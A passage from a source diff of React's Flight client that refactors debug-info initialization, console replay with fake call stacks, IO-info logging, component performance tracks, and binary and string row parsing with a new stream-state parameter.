-  const callStack = buildFakeCallStack(response, stack, createTaskFn);
-
-  let componentTask;
   if (ownerTask === null) {
-    const rootTask = response._debugRootTask;
+    const rootTask = getRootTask(response, env);
     if (rootTask != null) {
-      componentTask = rootTask.run(callStack);
+      return rootTask.run(callStack);
     } else {
-      componentTask = callStack();
+      return callStack();
     }
   } else {
-    componentTask = ownerTask.run(callStack);
+    return ownerTask.run(callStack);
   }
-  // $FlowFixMe[cannot-write]: We consider this part of initialization.
-  componentInfo.task = componentTask;
-  return componentTask;
 }
 
-function resolveDebugInfo(
+const createFakeJSXCallStack = {
+  react_stack_bottom_frame: function (
+    response: Response,
+    stack: ReactStackTrace,
+    environmentName: string,
+  ): Error {
+    const callStackForError = buildFakeCallStack(
+      response,
+      stack,
+      environmentName,
+      false,
+      fakeJSXCallSite,
+    );
+    return callStackForError();
+  },
+};
+
+const createFakeJSXCallStackInDEV: (
   response: Response,
-  id: number,
-  debugInfo: ReactComponentInfo | ReactAsyncInfo,
+  stack: ReactStackTrace,
+  environmentName: string,
+) => Error = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (createFakeJSXCallStack.react_stack_bottom_frame.bind(
+      createFakeJSXCallStack,
+    ): any)
+  : (null: any);
+
+/** @noinline */
+function fakeJSXCallSite() {
+  // This extra call frame represents the JSX creation function. We always pop this frame
+  // off before presenting so it needs to be part of the stack.
+  return new Error('react-stack-top-frame');
+}
+
+function initializeFakeStack(
+  response: Response,
+  debugInfo: ReactComponentInfo | ReactAsyncInfo | ReactIOInfo,
 ): void {
+  const cachedEntry = debugInfo.debugStack;
+  if (cachedEntry !== undefined) {
+    return;
+  }
+  if (debugInfo.stack != null) {
+    const stack = debugInfo.stack;
+    const env = debugInfo.env == null ? '' : debugInfo.env;
+    // $FlowFixMe[cannot-write]
+    debugInfo.debugStack = createFakeJSXCallStackInDEV(response, stack, env);
+  }
+  const owner = debugInfo.owner;
+  if (owner != null) {
+    // Initialize any owners not yet initialized.
+    initializeFakeStack(response, owner);
+    if (owner.debugLocation === undefined && debugInfo.debugStack != null) {
+      // If we are the child of this owner, then the owner should be the bottom frame
+      // our stack. We can use it as the implied location of the owner.
+      owner.debugLocation = debugInfo.debugStack;
+    }
+  }
+}
+
+function initializeDebugInfo(
+  response: Response,
+  debugInfo: ReactDebugInfoEntry,
+): ReactDebugInfoEntry {
   if (!__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
     // eslint-disable-next-line react-internal/prod-error-codes
     throw new Error(
-      'resolveDebugInfo should never be called in production mode. This is a bug in React.',
+      'initializeDebugInfo should never be called in production mode. This is a bug in React.',
     );
   }
-  // We eagerly initialize the fake task because this resolving happens outside any
-  // render phase so we're not inside a user space stack at this point. If we waited
-  // to initialize it when we need it, we might be inside user code.
-  initializeFakeTask(response, debugInfo);
-  const chunk = getChunk(response, id);
-  const chunkDebugInfo: ReactDebugInfo =
-    chunk._debugInfo || (chunk._debugInfo = []);
-  chunkDebugInfo.push(debugInfo);
+  if (debugInfo.stack !== undefined) {
+    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =
+      // $FlowFixMe[incompatible-type]
+      debugInfo;
+    // We eagerly initialize the fake task because this resolving happens outside any
+    // render phase so we're not inside a user space stack at this point. If we waited
+    // to initialize it when we need it, we might be inside user code.
+    initializeFakeTask(response, componentInfoOrAsyncInfo);
+  }
+  if (debugInfo.owner == null && response._debugRootOwner != null) {
+    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =
+      // $FlowFixMe: By narrowing `owner` to `null`, we narrowed `debugInfo` to `ReactComponentInfo`
+      debugInfo;
+    // $FlowFixMe[cannot-write]
+    componentInfoOrAsyncInfo.owner = response._debugRootOwner;
+    // We clear the parsed stack frames to indicate that it needs to be re-parsed from debugStack.
+    // $FlowFixMe[cannot-write]
+    componentInfoOrAsyncInfo.stack = null;
+    // We override the stack if we override the owner since the stack where the root JSX
+    // was created on the server isn't very useful but where the request was made is.
+    // $FlowFixMe[cannot-write]
+    componentInfoOrAsyncInfo.debugStack = response._debugRootStack;
+    // $FlowFixMe[cannot-write]
+    componentInfoOrAsyncInfo.debugTask = response._debugRootTask;
+  } else if (debugInfo.stack !== undefined) {
+    const componentInfoOrAsyncInfo: ReactComponentInfo | ReactAsyncInfo =
+      // $FlowFixMe[incompatible-type]
+      debugInfo;
+    initializeFakeStack(response, componentInfoOrAsyncInfo);
+  }
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (typeof debugInfo.time === 'number') {
+      // Adjust the time to the current environment's time space.
+      // Since this might be a deduped object, we clone it to avoid
+      // applying the adjustment twice.
+      debugInfo = {
+        time: debugInfo.time + response._timeOrigin,
+      };
+    }
+  }
+  return debugInfo;
 }
 
+function resolveDebugModel(
+  response: Response,
+  id: number,
+  json: UninitializedModel,
+): void {
+  const parentChunk = getChunk(response, id);
+  if (
+    parentChunk.status === INITIALIZED ||
+    parentChunk.status === ERRORED ||
+    parentChunk.status === HALTED ||
+    parentChunk.status === BLOCKED
+  ) {
+    // We shouldn't really get debug info late. It's too late to add it after we resolved.
+    return;
+  }
+  if (parentChunk.status === RESOLVED_MODULE) {
+    // We don't expect to get debug info on modules.
+    return;
+  }
+  const previousChunk = parentChunk._debugChunk;
+  const debugChunk: ResolvedModelChunk<ReactDebugInfoEntry> =
+    createResolvedModelChunk(response, json);
+  debugChunk._debugChunk = previousChunk; // Linked list of the debug chunks
+  parentChunk._debugChunk = debugChunk;
+  initializeDebugChunk(response, parentChunk);
+  if (
+    __DEV__ &&
+    ((debugChunk: any): SomeChunk<any>).status === BLOCKED &&
+    (response._debugChannel === undefined ||
+      !response._debugChannel.hasReadable)
+  ) {
+    if (json[0] === '"' && json[1] === '$') {
+      const path = json.slice(2, json.length - 1).split(':');
+      const outlinedId = parseInt(path[0], 16);
+      const chunk = getChunk(response, outlinedId);
+      if (chunk.status === PENDING) {
+        // We expect the debug chunk to have been emitted earlier in the stream. It might be
+        // blocked on other things but chunk should no longer be pending.
+        // If it's still pending that suggests that it was referencing an object in the debug
+        // channel, but no debug channel was wired up so it's missing. In this case we can just
+        // drop the debug info instead of halting the whole stream.
+        parentChunk._debugChunk = null;
+      }
+    }
+  }
+}
+
+let currentOwnerInDEV: null | ReactComponentInfo = null;
+function getCurrentStackInDEV(): string {
+  if (__DEV__) {
+    const owner: null | ReactComponentInfo = currentOwnerInDEV;
+    if (owner === null) {
+      return '';
+    }
+    return getOwnerStackByComponentInfoInDev(owner);
+  }
+  return '';
+}
+
+const replayConsoleWithCallStack = {
+  react_stack_bottom_frame: function (
+    response: Response,
+    payload: ConsoleEntry,
+  ): void {
+    const methodName = payload[0];
+    const stackTrace = payload[1];
+    const owner = payload[2];
+    const env = payload[3];
+    const args = payload.slice(4);
+
+    // There really shouldn't be anything else on the stack atm.
+    const prevStack = ReactSharedInternals.getCurrentStack;
+    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;
+    currentOwnerInDEV =
+      owner === null ? (response._debugRootOwner: any) : owner;
+
+    try {
+      const callStack = buildFakeCallStack(
+        response,
+        stackTrace,
+        env,
+        false,
+        bindToConsole(methodName, args, env),
+      );
+      if (owner != null) {
+        const task = initializeFakeTask(response, owner);
+        initializeFakeStack(response, owner);
+        if (task !== null) {
+          task.run(callStack);
+          return;
+        }
+      }
+      const rootTask = getRootTask(response, env);
+      if (rootTask != null) {
+        rootTask.run(callStack);
+        return;
+      }
+      callStack();
+    } finally {
+      currentOwnerInDEV = null;
+      ReactSharedInternals.getCurrentStack = prevStack;
+    }
+  },
+};
+
+const replayConsoleWithCallStackInDEV: (
+  response: Response,
+  payload: ConsoleEntry,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (replayConsoleWithCallStack.react_stack_bottom_frame.bind(
+      replayConsoleWithCallStack,
+    ): any)
+  : (null: any);
+
+type ConsoleEntry = [
+  string,
+  ReactStackTrace,
+  null | ReactComponentInfo,
+  string,
+  mixed,
+];
+
 function resolveConsoleEntry(
   response: Response,
-  value: UninitializedModel,
+  json: UninitializedModel,
 ): void {
   if (!__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
@@ -2034,37 +4226,126 @@ function resolveConsoleEntry(
     );
   }
 
-  const payload: [string, string, null | ReactComponentInfo, string, mixed] =
-    parseModel(response, value);
-  const methodName = payload[0];
-  const stackTrace = payload[1];
-  const owner = payload[2];
-  const env = payload[3];
-  const args = payload.slice(4);
-  if (!enableOwnerStacks) {
-    // Printing with stack isn't really limited to owner stacks but
-    // we gate it behind the same flag for now while iterating.
-    printToConsole(methodName, args, env);
+  if (!response._replayConsole) {
     return;
   }
-  const callStack = buildFakeCallStack(
-    response,
-    stackTrace,
-    printToConsole.bind(null, methodName, args, env),
-  );
-  if (owner != null) {
-    const task = initializeFakeTask(response, owner);
-    if (task !== null) {
-      task.run(callStack);
-      return;
+
+  const blockedChunk = response._blockedConsole;
+  if (blockedChunk == null) {
+    // If we're not blocked on any other chunks, we can try to eagerly initialize
+    // this as a fast-path to avoid awaiting them.
+    const chunk: ResolvedModelChunk<ConsoleEntry> = createResolvedModelChunk(
+      response,
+      json,
+    );
+    initializeModelChunk(chunk);
+    const initializedChunk: SomeChunk<ConsoleEntry> = chunk;
+    if (initializedChunk.status === INITIALIZED) {
+      replayConsoleWithCallStackInDEV(response, initializedChunk.value);
+    } else {
+      chunk.then(
+        v => replayConsoleWithCallStackInDEV(response, v),
+        e => {
+          // Ignore console errors for now. Unnecessary noise.
+        },
+      );
+      response._blockedConsole = chunk;
     }
+  } else {
+    // We're still waiting on a previous chunk so we can't enqueue quite yet.
+    const chunk: SomeChunk<ConsoleEntry> = createPendingChunk(response);
+    chunk.then(
+      v => replayConsoleWithCallStackInDEV(response, v),
+      e => {
+        // Ignore console errors for now. Unnecessary noise.
+      },
+    );
+    response._blockedConsole = chunk;
+    const unblock = () => {
+      if (response._blockedConsole === chunk) {
+        // We were still the last chunk so we can now clear the queue and return
+        // to synchronous emitting.
+        response._blockedConsole = null;
+      }
+      resolveModelChunk(response, chunk, json);
+    };
+    blockedChunk.then(unblock, unblock);
   }
-  const rootTask = response._debugRootTask;
-  if (rootTask != null) {
-    rootTask.run(callStack);
-    return;
+}
+
+function initializeIOInfo(response: Response, ioInfo: ReactIOInfo): void {
+  if (ioInfo.stack !== undefined) {
+    initializeFakeTask(response, ioInfo);
+    initializeFakeStack(response, ioInfo);
+  }
+  // Adjust the time to the current environment's time space.
+  // $FlowFixMe[cannot-write]
+  ioInfo.start += response._timeOrigin;
+  // $FlowFixMe[cannot-write]
+  ioInfo.end += response._timeOrigin;
+
+  if (enableComponentPerformanceTrack && response._replayConsole) {
+    const env = response._rootEnvironmentName;
+    const promise = ioInfo.value;
+    if (promise) {
+      const thenable: Thenable<mixed> = (promise: any);
+      switch (thenable.status) {
+        case INITIALIZED:
+          logIOInfo(ioInfo, env, thenable.value);
+          break;
+        case ERRORED:
+          logIOInfoErrored(ioInfo, env, thenable.reason);
+          break;
+        default:
+          // If we haven't resolved the Promise yet, wait to log until have so we can include
+          // its data in the log.
+          promise.then(
+            logIOInfo.bind(null, ioInfo, env),
+            logIOInfoErrored.bind(null, ioInfo, env),
+          );
+          break;
+      }
+    } else {
+      logIOInfo(ioInfo, env, undefined);
+    }
+  }
+}
+
+function resolveIOInfo(
+  response: Response,
+  id: number,
+  model: UninitializedModel,
+): void {
+  const chunks = response._chunks;
+  let chunk = chunks.get(id);
+  const prevIsInitializingDebugInfo = isInitializingDebugInfo;
+  isInitializingDebugInfo = true;
+  try {
+    if (!chunk) {
+      chunk = createResolvedModelChunk(response, model);
+      chunks.set(id, chunk);
+      initializeModelChunk(chunk);
+    } else {
+      resolveModelChunk(response, chunk, model);
+      if (chunk.status === RESOLVED_MODEL) {
+        initializeModelChunk(chunk);
+      }
+    }
+  } finally {
+    isInitializingDebugInfo = prevIsInitializingDebugInfo;
+  }
+  if (chunk.status === INITIALIZED) {
+    initializeIOInfo(response, chunk.value);
+  } else {
+    chunk.then(
+      v => {
+        initializeIOInfo(response, v);
+      },
+      e => {
+        // Ignore debug info errors for now. Unnecessary noise.
+      },
+    );
   }
-  callStack();
 }
 
 function mergeBuffer(
@@ -2097,6 +4378,7 @@ function resolveTypedArray(
   lastChunk: Uint8Array,
   constructor: any,
   bytesPerElement: number,
+  streamState: StreamState,
 ): void {
   // If the view fits into one original buffer, we just reuse that buffer instead of
   // copying it out to a separate copy. This means that it's not always possible to
@@ -2116,63 +4398,471 @@ function resolveTypedArray(
     chunk.byteOffset,
     chunk.byteLength / bytesPerElement,
   );
-  resolveBuffer(response, id, view);
+  resolveBuffer(response, id, view, streamState);
+}
+
+function logComponentInfo(
+  response: Response,
+  root: SomeChunk<any>,
+  componentInfo: ReactComponentInfo,
+  trackIdx: number,
+  startTime: number,
+  componentEndTime: number,
+  childrenEndTime: number,
+  isLastComponent: boolean,
+): void {
+  // $FlowFixMe: Refined.
+  if (
+    isLastComponent &&
+    root.status === ERRORED &&
+    root.reason !== response._closedReason
+  ) {
+    // If this is the last component to render before this chunk rejected, then conceptually
+    // this component errored. If this was a cancellation then it wasn't this component that
+    // errored.
+    logComponentErrored(
+      componentInfo,
+      trackIdx,
+      startTime,
+      componentEndTime,
+      childrenEndTime,
+      response._rootEnvironmentName,
+      root.reason,
+    );
+  } else {
+    logComponentRender(
+      componentInfo,
+      trackIdx,
+      startTime,
+      componentEndTime,
+      childrenEndTime,
+      response._rootEnvironmentName,
+    );
+  }
+}
+
+function flushComponentPerformance(
+  response: Response,
+  root: SomeChunk<any>,
+  trackIdx: number, // Next available track
+  trackTime: number, // The time after which it is available,
+  parentEndTime: number,
+): ProfilingResult {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'flushComponentPerformance should never be called in production mode. This is a bug in React.',
+    );
+  }
+  // Write performance.measure() entries for Server Components in tree order.
+  // This must be done at the end to collect the end time from the whole tree.
+  if (!isArray(root._children)) {
+    // We have already written this chunk. If this was a cycle, then this will
+    // be -Infinity and it won't contribute to the parent end time.
+    // If this was already emitted by another sibling then we reused the same
+    // chunk in two places. We should extend the current end time as if it was
+    // rendered as part of this tree.
+    const previousResult: ProfilingResult = root._children;
+    const previousEndTime = previousResult.endTime;
+    if (
+      parentEndTime > -Infinity &&
+      parentEndTime < previousEndTime &&
+      previousResult.component !== null
+    ) {
+      // Log a placeholder for the deduped value under this child starting
+      // from the end of the self time of the parent and spanning until the
+      // the deduped end.
+      logDedupedComponentRender(
+        previousResult.component,
+        trackIdx,
+        parentEndTime,
+        previousEndTime,
+        response._rootEnvironmentName,
+      );
+    }
+    // Since we didn't bump the track this time, we just return the same track.
+    previousResult.track = trackIdx;
+    return previousResult;
+  }
+  const children = root._children;
+
+  // First find the start time of the first component to know if it was running
+  // in parallel with the previous.
+  let debugInfo = null;
+  if (__DEV__) {
+    debugInfo = root._debugInfo;
+    if (debugInfo.length === 0 && root.status === 'fulfilled') {
+      const resolvedValue = resolveLazy(root.value);
+      if (
+        typeof resolvedValue === 'object' &&
+        resolvedValue !== null &&
+        (isArray(resolvedValue) ||
+          typeof resolvedValue[ASYNC_ITERATOR] === 'function' ||
+          resolvedValue.$$typeof === REACT_ELEMENT_TYPE ||
+          resolvedValue.$$typeof === REACT_LAZY_TYPE) &&
+        isArray(resolvedValue._debugInfo)
+      ) {
+        // It's possible that the value has been given the debug info.
+        // In that case we need to look for it on the resolved value.
+        debugInfo = resolvedValue._debugInfo;
+      }
+    }
+  }
+  if (debugInfo) {
+    let startTime = 0;
+    for (let i = 0; i < debugInfo.length; i++) {
+      const info = debugInfo[i];
+      if (typeof info.time === 'number') {
+        startTime = info.time;
+      }
+      if (typeof info.name === 'string') {
+        if (startTime < trackTime) {
+          // The start time of this component is before the end time of the previous
+          // component on this track so we need to bump the next one to a parallel track.
+          trackIdx++;
+        }
+        trackTime = startTime;
+        break;
+      }
+    }
+    for (let i = debugInfo.length - 1; i >= 0; i--) {
+      const info = debugInfo[i];
+      if (typeof info.time === 'number') {
+        if (info.time > parentEndTime) {
+          parentEndTime = info.time;
+          break; // We assume the highest number is at the end.
+        }
+      }
+    }
+  }
+
+  const result: ProfilingResult = {
+    track: trackIdx,
+    endTime: -Infinity,
+    component: null,
+  };
+  root._children = result;
+  let childrenEndTime = -Infinity;
+  let childTrackIdx = trackIdx;
+  let childTrackTime = trackTime;
+  for (let i = 0; i < children.length; i++) {
+    const childResult = flushComponentPerformance(
+      response,
+      children[i],
+      childTrackIdx,
+      childTrackTime,
+      parentEndTime,
+    );
+    if (childResult.component !== null) {
+      result.component = childResult.component;
+    }
+    childTrackIdx = childResult.track;
+    const childEndTime = childResult.endTime;
+    if (childEndTime > childTrackTime) {
+      childTrackTime = childEndTime;
+    }
+    if (childEndTime > childrenEndTime) {
+      childrenEndTime = childEndTime;
+    }
+  }
+
+  if (debugInfo) {
+    // Write debug info in reverse order (just like stack traces).
+    let componentEndTime = 0;
+    let isLastComponent = true;
+    let endTime = -1;
+    let endTimeIdx = -1;
+    for (let i = debugInfo.length - 1; i >= 0; i--) {
+      const info = debugInfo[i];
+      if (typeof info.time !== 'number') {
+        continue;
+      }
+      if (componentEndTime === 0) {
+        // Last timestamp is the end of the last component.
+        componentEndTime = info.time;
+      }
+      const time = info.time;
+      if (endTimeIdx > -1) {
+        // Now that we know the start and end time, we can emit the entries between.
+        for (let j = endTimeIdx - 1; j > i; j--) {
+          const candidateInfo = debugInfo[j];
+          if (typeof candidateInfo.name === 'string') {
+            if (componentEndTime > childrenEndTime) {
+              childrenEndTime = componentEndTime;
+            }
+            // $FlowFixMe: Refined.
+            const componentInfo: ReactComponentInfo = candidateInfo;
+            logComponentInfo(
+              response,
+              root,
+              componentInfo,
+              trackIdx,
+              time,
+              componentEndTime,
+              childrenEndTime,
+              isLastComponent,
+            );
+            componentEndTime = time; // The end time of previous component is the start time of the next.
+            // Track the root most component of the result for deduping logging.
+            result.component = componentInfo;
+            isLastComponent = false;
+          } else if (
+            candidateInfo.awaited &&
+            // Skip awaits on client resources since they didn't block the server component.
+            candidateInfo.awaited.env != null
+          ) {
+            if (endTime > childrenEndTime) {
+              childrenEndTime = endTime;
+            }
+            // $FlowFixMe: Refined.
+            const asyncInfo: ReactAsyncInfo = candidateInfo;
+            const env = response._rootEnvironmentName;
+            const promise = asyncInfo.awaited.value;
+            if (promise) {
+              const thenable: Thenable<mixed> = (promise: any);
+              switch (thenable.status) {
+                case INITIALIZED:
+                  logComponentAwait(
+                    asyncInfo,
+                    trackIdx,
+                    time,
+                    endTime,
+                    env,
+                    thenable.value,
+                  );
+                  break;
+                case ERRORED:
+                  logComponentAwaitErrored(
+                    asyncInfo,
+                    trackIdx,
+                    time,
+                    endTime,
+                    env,
+                    thenable.reason,
+                  );
+                  break;
+                default:
+                  // We assume that we should have received the data by now since this is logged at the
+                  // end of the response stream. This is more sensitive to ordering so we don't wait
+                  // to log it.
+                  logComponentAwait(
+                    asyncInfo,
+                    trackIdx,
+                    time,
+                    endTime,
+                    env,
+                    undefined,
+                  );
+                  break;
+              }
+            } else {
+              logComponentAwait(
+                asyncInfo,
+                trackIdx,
+                time,
+                endTime,
+                env,
+                undefined,
+              );
+            }
+          }
+        }
+      } else {
+        // Anything between the end and now was aborted if it has no end time.
+        // Either because the client stream was aborted reading it or the server stream aborted.
+        endTime = time; // If we don't find anything else the endTime is the start time.
+        for (let j = debugInfo.length - 1; j > i; j--) {
+          const candidateInfo = debugInfo[j];
+          if (typeof candidateInfo.name === 'string') {
+            if (componentEndTime > childrenEndTime) {
+              childrenEndTime = componentEndTime;
+            }
+            // $FlowFixMe: Refined.
+            const componentInfo: ReactComponentInfo = candidateInfo;
+            const env = response._rootEnvironmentName;
+            logComponentAborted(
+              componentInfo,
+              trackIdx,
+              time,
+              componentEndTime,
+              childrenEndTime,
+              env,
+            );
+            componentEndTime = time; // The end time of previous component is the start time of the next.
+            // Track the root most component of the result for deduping logging.
+            result.component = componentInfo;
+            isLastComponent = false;
+          } else if (
+            candidateInfo.awaited &&
+            // Skip awaits on client resources since they didn't block the server component.
+            candidateInfo.awaited.env != null
+          ) {
+            // If we don't have an end time for an await, that means we aborted.
+            const asyncInfo: ReactAsyncInfo = candidateInfo;
+            const env = response._rootEnvironmentName;
+            if (asyncInfo.awaited.end > endTime) {
+              endTime = asyncInfo.awaited.end; // Take the end time of the I/O as the await end.
+            }
+            if (endTime > childrenEndTime) {
+              childrenEndTime = endTime;
+            }
+            logComponentAwaitAborted(asyncInfo, trackIdx, time, endTime, env);
+          }
+        }
+      }
+      endTime = time; // The end time of the next entry is this time.
+      endTimeIdx = i;
+    }
+  }
+  result.endTime = childrenEndTime;
+  return result;
+}
+
+function flushInitialRenderPerformance(response: Response): void {
+  if (
+    enableProfilerTimer &&
+    enableComponentPerformanceTrack &&
+    response._replayConsole
+  ) {
+    const rootChunk = getChunk(response, 0);
+    if (isArray(rootChunk._children)) {
+      markAllTracksInOrder();
+      flushComponentPerformance(response, rootChunk, 0, -Infinity, -Infinity);
+    }
+  }
 }
 
-function processFullRow(
+function processFullBinaryRow(
   response: Response,
+  streamState: StreamState,
   id: number,
   tag: number,
   buffer: Array<Uint8Array>,
   chunk: Uint8Array,
 ): void {
-  if (enableBinaryFlight) {
-    switch (tag) {
-      case 65 /* "A" */:
-        // We must always clone to extract it into a separate buffer instead of just a view.
-        resolveBuffer(response, id, mergeBuffer(buffer, chunk).buffer);
-        return;
-      case 79 /* "O" */:
-        resolveTypedArray(response, id, buffer, chunk, Int8Array, 1);
-        return;
-      case 111 /* "o" */:
-        resolveBuffer(
-          response,
-          id,
-          buffer.length === 0 ? chunk : mergeBuffer(buffer, chunk),
-        );
-        return;
-      case 85 /* "U" */:
-        resolveTypedArray(response, id, buffer, chunk, Uint8ClampedArray, 1);
-        return;
-      case 83 /* "S" */:
-        resolveTypedArray(response, id, buffer, chunk, Int16Array, 2);
-        return;
-      case 115 /* "s" */:
-        resolveTypedArray(response, id, buffer, chunk, Uint16Array, 2);
-        return;
-      case 76 /* "L" */:
-        resolveTypedArray(response, id, buffer, chunk, Int32Array, 4);
-        return;
-      case 108 /* "l" */:
-        resolveTypedArray(response, id, buffer, chunk, Uint32Array, 4);
-        return;
-      case 71 /* "G" */:
-        resolveTypedArray(response, id, buffer, chunk, Float32Array, 4);
-        return;
-      case 103 /* "g" */:
-        resolveTypedArray(response, id, buffer, chunk, Float64Array, 8);
-        return;
-      case 77 /* "M" */:
-        resolveTypedArray(response, id, buffer, chunk, BigInt64Array, 8);
-        return;
-      case 109 /* "m" */:
-        resolveTypedArray(response, id, buffer, chunk, BigUint64Array, 8);
-        return;
-      case 86 /* "V" */:
-        resolveTypedArray(response, id, buffer, chunk, DataView, 1);
-        return;
-    }
+  switch (tag) {
+    case 65 /* "A" */:
+      // We must always clone to extract it into a separate buffer instead of just a view.
+      resolveBuffer(
+        response,
+        id,
+        mergeBuffer(buffer, chunk).buffer,
+        streamState,
+      );
+      return;
+    case 79 /* "O" */:
+      resolveTypedArray(response, id, buffer, chunk, Int8Array, 1, streamState);
+      return;
+    case 111 /* "o" */:
+      resolveBuffer(
+        response,
+        id,
+        buffer.length === 0 ? chunk : mergeBuffer(buffer, chunk),
+        streamState,
+      );
+      return;
+    case 85 /* "U" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Uint8ClampedArray,
+        1,
+        streamState,
+      );
+      return;
+    case 83 /* "S" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Int16Array,
+        2,
+        streamState,
+      );
+      return;
+    case 115 /* "s" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Uint16Array,
+        2,
+        streamState,
+      );
+      return;
+    case 76 /* "L" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Int32Array,
+        4,
+        streamState,
+      );
+      return;
+    case 108 /* "l" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Uint32Array,
+        4,
+        streamState,
+      );
+      return;
+    case 71 /* "G" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Float32Array,
+        4,
+        streamState,
+      );
+      return;
+    case 103 /* "g" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        Float64Array,
+        8,
+        streamState,
+      );
+      return;
+    case 77 /* "M" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        BigInt64Array,
+        8,
+        streamState,
+      );
+      return;
+    case 109 /* "m" */:
+      resolveTypedArray(
+        response,
+        id,
+        buffer,
+        chunk,
+        BigUint64Array,
+        8,
+        streamState,
+      );
+      return;
+    case 86 /* "V" */:
+      resolveTypedArray(response, id, buffer, chunk, DataView, 1, streamState);
+      return;
   }
 
   const stringDecoder = response._stringDecoder;
@@ -2181,9 +4871,19 @@ function processFullRow(
     row += readPartialStringChunk(stringDecoder, buffer[i]);
   }
   row += readFinalStringChunk(stringDecoder, chunk);
+  processFullStringRow(response, streamState, id, tag, row);
+}
+
+function processFullStringRow(
+  response: Response,
+  streamState: StreamState,
+  id: number,
+  tag: number,
+  row: string,
+): void {
   switch (tag) {
     case 73 /* "I" */: {
-      resolveModule(response, id, row);
+      resolveModule(response, id, row, streamState);
       return;
     }
     case 72 /* "H" */: {
@@ -2192,31 +4892,39 @@ function processFullRow(
       return;
     }
     case 69 /* "E" */: {
-      const errorInfo = JSON.parse(row);
-      if (__DEV__) {
-        resolveErrorDev(
-          response,
-          id,
-          errorInfo.digest,
-          errorInfo.message,
-          errorInfo.stack,
-        );
-      } else {
-        resolveErrorProd(response, id, errorInfo.digest);
-      }
+      resolveErrorModel(response, id, row, streamState);
       return;
     }
     case 84 /* "T" */: {
-      resolveText(response, id, row);
+      resolveText(response, id, row, streamState);
       return;
     }
+    case 78 /* "N" */: {
+      if (
+        enableProfilerTimer &&
+        (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ) {
+        // Track the time origin for future debug info. We track it relative
+        // to the current environment's time space.
+        const timeOrigin: number = +row;
+        response._timeOrigin =
+          timeOrigin -
+          // $FlowFixMe[prop-missing]
+          performance.timeOrigin;
+        return;
+      }
+      // Fallthrough to share the error with Debug and Console entries.
+    }
     case 68 /* "D" */: {
       if (__DEV__) {
-        const debugInfo: ReactComponentInfo | ReactAsyncInfo = parseModel(
-          response,
-          row,
-        );
-        resolveDebugInfo(response, id, debugInfo);
+        resolveDebugModel(response, id, row);
+        return;
+      }
+      // Fallthrough to share the error with Console entries.
+    }
+    case 74 /* "J" */: {
+      if (enableProfilerTimer && enableAsyncDebugInfo) {
+        resolveIOInfo(response, id, row);
         return;
       }
       // Fallthrough to share the error with Console entries.
@@ -2233,76 +4941,60 @@ function processFullRow(
       );
     }
     case 82 /* "R" */: {
-      if (enableFlightReadableStream) {
-        startReadableStream(response, id, undefined);
-        return;
-      }
+      startReadableStream(response, id, undefined, streamState);
+      return;
     }
     // Fallthrough
     case 114 /* "r" */: {
-      if (enableFlightReadableStream) {
-        startReadableStream(response, id, 'bytes');
-        return;
-      }
+      startReadableStream(response, id, 'bytes', streamState);
+      return;
     }
     // Fallthrough
     case 88 /* "X" */: {
-      if (enableFlightReadableStream) {
-        startAsyncIterable(response, id, false);
-        return;
-      }
+      startAsyncIterable(response, id, false, streamState);
+      return;
     }
     // Fallthrough
     case 120 /* "x" */: {
-      if (enableFlightReadableStream) {
-        startAsyncIterable(response, id, true);
-        return;
-      }
+      startAsyncIterable(response, id, true, streamState);
+      return;
     }
     // Fallthrough
     case 67 /* "C" */: {
-      if (enableFlightReadableStream) {
-        stopStream(response, id, row);
-        return;
-      }
+      stopStream(response, id, row);
+      return;
     }
     // Fallthrough
-    case 80 /* "P" */: {
-      if (enablePostpone) {
-        if (__DEV__) {
-          const postponeInfo = JSON.parse(row);
-          resolvePostponeDev(
-            response,
-            id,
-            postponeInfo.reason,
-            postponeInfo.stack,
-          );
-        } else {
-          resolvePostponeProd(response, id);
-        }
+    default: /* """ "{" "[" "t" "f" "n" "0" - "9" */ {
+      if (__DEV__ && row === '') {
+        resolveDebugHalt(response, id);
         return;
       }
-    }
-    // Fallthrough
-    default: /* """ "{" "[" "t" "f" "n" "0" - "9" */ {
       // We assume anything else is JSON.
-      resolveModel(response, id, row);
+      resolveModel(response, id, row, streamState);
       return;
     }
   }
 }
 
 export function processBinaryChunk(
-  response: Response,
+  weakResponse: WeakResponse,
+  streamState: StreamState,
   chunk: Uint8Array,
 ): void {
+  if (hasGCedResponse(weakResponse)) {
+    // Ignore more chunks if we've already GC:ed all listeners.
+    return;
+  }
+  const response = unwrapWeakResponse(weakResponse);
   let i = 0;
-  let rowState = response._rowState;
-  let rowID = response._rowID;
-  let rowTag = response._rowTag;
-  let rowLength = response._rowLength;
-  const buffer = response._buffer;
+  let rowState = streamState._rowState;
+  let rowID = streamState._rowID;
+  let rowTag = streamState._rowTag;
+  let rowLength = streamState._rowLength;
+  const buffer = streamState._buffer;
   const chunkLength = chunk.length;
+  incrementChunkDebugInfo(streamState, chunkLength);
   while (i < chunkLength) {
     let lastIdx = -1;
     switch (rowState) {
@@ -2320,26 +5012,27 @@ export function processBinaryChunk(
         const resolvedRowTag = chunk[i];
         if (
           resolvedRowTag === 84 /* "T" */ ||
-          (enableBinaryFlight &&
-            (resolvedRowTag === 65 /* "A" */ ||
-              resolvedRowTag === 79 /* "O" */ ||
-              resolvedRowTag === 111 /* "o" */ ||
-              resolvedRowTag === 85 /* "U" */ ||
